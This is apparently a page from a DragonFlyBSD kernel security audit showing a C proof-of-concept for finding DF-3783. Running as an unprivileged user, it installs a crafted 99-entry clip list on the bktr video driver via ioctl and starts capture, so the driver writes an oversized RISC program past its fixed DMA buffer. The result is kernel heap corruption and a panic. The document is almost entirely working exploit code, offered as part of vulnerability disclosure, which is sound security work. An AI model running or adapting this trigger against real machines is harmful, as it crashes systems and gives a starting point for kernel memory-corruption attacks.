⬢ DragonFlyBSD Kernel Audit
DF-3783 / poc_clip_risc_overflow.c
← back to finding ↓ download raw
/*
 * DF-3783 PoC trigger (requires real Bt848/878 hardware + bktr driver).
 * Unprivileged: /dev/bktr0 is mode 0444.
 *
 * 1. BT848SCLIP   -- install 99-entry clip list (passes driver validation)
 * 2. METEORCAPTUR -- start continuous capture -> start_capture() ->
 *                    build_dma_prog() -> rgb_prog() emits a RISC program
 *                    far larger than the fixed 8-page dma_prog buffer.
 *
 * Expected on real hardware: immediate kernel heap corruption during the
 * ioctl (the overflow happens on the CPU while writing the program), panic
 * either at once or shortly after (RISC engine executes garbage).
 */
#include <sys/ioctl.h>
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <fcntl.h>
#include <unistd.h>

#include <dev/video/meteor/ioctl_meteor.h>
#include <dev/video/bktr/ioctl_bt848.h>

int main(void)
{
	struct _bktr_clip cl;
	int fd, i;
	int arg = METEOR_CAP_CONTINOUS;

	memset(&cl, 0, sizeof(cl));
	/* 99 valid nodes: cover every scanline (x range), disjoint y ranges */
	for (i = 0; i < 99; i++) {
		cl.x[i].x_min = 0;
		cl.x[i].x_max = 2046;
		cl.x[i].y_min = 2 * i;
		cl.x[i].y_max = 2 * i + 1;
	}
	/* cl.x[99] is the all-zero terminator */

	fd = open("/dev/bktr0", O_RDONLY);
	if (fd < 0) { perror("open /dev/bktr0"); return 1; }

	if (ioctl(fd, BT848SCLIP, &cl) < 0) {
		perror("BT848SCLIP"); return 1;
	}
	printf("clip list installed; starting capture...\n");
	if (ioctl(fd, METEORCAPTUR, &arg) < 0) {
		perror("METEORCAPTUR"); return 1;
	}
	printf("capture started; corruption already happened in build_dma_prog\n");
	sleep(2);
	return 0;
}